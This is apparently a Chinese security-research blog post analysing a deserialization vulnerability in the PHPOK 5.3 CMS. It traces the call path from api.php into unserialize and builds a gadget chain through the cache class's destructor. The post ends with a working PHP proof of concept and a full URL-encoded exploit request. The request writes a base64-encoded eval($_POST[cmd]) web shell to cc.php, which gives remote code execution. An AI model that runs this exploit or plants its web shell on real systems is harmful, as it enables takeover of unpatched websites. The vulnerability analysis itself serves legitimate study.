PHPOK 5.3 Getshell

环境搭建

略~

漏洞原理

PHPOK中有三个文件作为入口admin.php、api.php、index.php
参数c代表control类 f代表方法
/api.php?c=call&f=index代表访问framework/api/call_control.php中的index_f()方法

以挖漏洞的视角去分析,要找一个反序列化函数unserialize且参数是可以控制的

找到了framework/phpok_call.php 中_format_ext_all方法 这个方法参数是有上一层传进来的 再查看一下哪里可以调用这个函数 在这个文件中

是进行数据调用

查看文档 下边内置的标识串都是以_开头 那上边的_format_ext_all应该也是个标识串
我们随便找一个使用phpok()这个方法 看一下具体是怎么进行调用的

拿这个测试api.php?c=content&f=index&id=520
最终进入到了

phpok_call.php:119, phpok_call->phpok()
content_control.php:48, content_control->index_f()
init.php:1941, _init_phpok->_action_phpok4()
init.php:1908, _init_phpok->_action()
init.php:1614, _init_phpok->action_api()
init.php:1594, _init_phpok->action()
init.php:2901, require()
api.php:74, {main}()

这里会将传入的id拼接到rs赋值给call_rs 然后又取了id的值作为func 最后return的时候进行调用$this->$func($call_rs,$cache_id) 且call_rs也是传入的传入的id可以控制的,如果能控制id为上边的_format_ext_all 那就可以调用到_format_ext_all方法中 且第一个参数可控

然后接下来就找phpok调用这个的参数可控

找到framework/api/call_control.php中的index_f()方法

if(substr($data,0,1) == '{'){  
   $data = $this->lib('json')->decode(stripslashes($data));  
}

这里传入的data如果是{开头会做一个json的处理,测试一下

这里有个判断 将data的key设置为m_picplayer就可以进入这个分支中

这里还有和判断 需要m_picplayer为字典 否则这里会退出
然后进入了

phpok_tql_helper.php中
然后就进入了我们上边说的phpok()里边了但是这里是rs可控 id不可控 但是也不妨碍

这里和上边写的不一样 这里进入了if的分支 且rs可控 可以和刚刚的id可控达到一样的效果
只需要将rs中的type_id设置为format_ext_all就可以进入到_format_ext_all()方法中
所以data就为

{"m_picplayer":{"type_id":"format_ext_all"}}


这里需要设置一个form_type为url content就为序列化的数据

{"m_picplayer":{"type_id":"format_ext_all","0":{"form_type":"url","content":"aaaaaaaaaaaaaaaaaa"}}}


就进行了反序列化

接下来就是找反序列化链了

再说一下phpok在action之前会将db.php cache.php等通过include的方式加载进去
所以不同于之前的反序列化通过namespace的方式取调用其他文件中的类
这个可以直接使用new 调用已经include进来的类

找反序列化链经典先找__destruct()魔术方法
找到了framework/engine/cache.php中的__destruct()

public function __destruct()  
{  
   $this->save($this->key_id,$this->key_list);  
   $this->expired();  
}

调用save函数$this->key_id,$this->key_list可控

public function save($id,$content='')  
{  
   if(!$id || $content === '' || !$this->status){  
      return false;  
   }  
   $this->_time();  
   $content = serialize($content);  
   $file = $this->folder.$id.".php";  
   file_put_contents($file,'<?php exit();?>'.$content);  
   $this->_time();  
   $this->_count();  
   if($GLOBALS['app']->db){  
      $this->key_list($id,$GLOBALS['app']->db->cache_index($id));  
   }  
   return true;  
}

exit()绕过方式挺多的
参考https://xiaolong22333.top/index.php/archives/114/

利用伪协议base64编码进行绕过

漏洞利用

POC

<?php  
class cache  
{  
    protected $key_id = './cc';  
    protected $key_list = 'aaaaaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=';  
    protected $folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';  
}  
  
  
$str1 = json_encode(array('m_picplayer' => array('site' => 1, 'type_id' => 'format_ext_all', 0 => array('form_type' => 'url', 'content' =>  serialize(new cache())))));  
print(urlencode($str1));
http://localhost/PHPOK/5.3/api.php?c=call&f=index&data=%7B%22m_picplayer%22%3A%7B%22site%22%3A1%2C%22type_id%22%3A%22format_ext_all%22%2C%220%22%3A%7B%22form_type%22%3A%22url%22%2C%22content%22%3A%22O%3A5%3A%5C%22cache%5C%22%3A3%3A%7Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000key_id%5C%22%3Bs%3A4%3A%5C%22.%5C%2Fcc%5C%22%3Bs%3A11%3A%5C%22%5Cu0000%2A%5Cu0000key_list%5C%22%3Bs%3A41%3A%5C%22aaaaaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4%3D%5C%22%3Bs%3A9%3A%5C%22%5Cu0000%2A%5Cu0000folder%5C%22%3Bs%3A68%3A%5C%22php%3A%5C%2F%5C%2Ffilter%5C%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%5C%2Fresource%3D%5C%22%3B%7D%22%7D%7D%7D

访问/cc.php


PHPOK 5.3 Getshell
http://example.com/2022/11/22/安全研究/PHP安全/漏洞分析/PHPOK 5.3 Getshell/
作者
Autumn
发布于
2022年11月22日
许可协议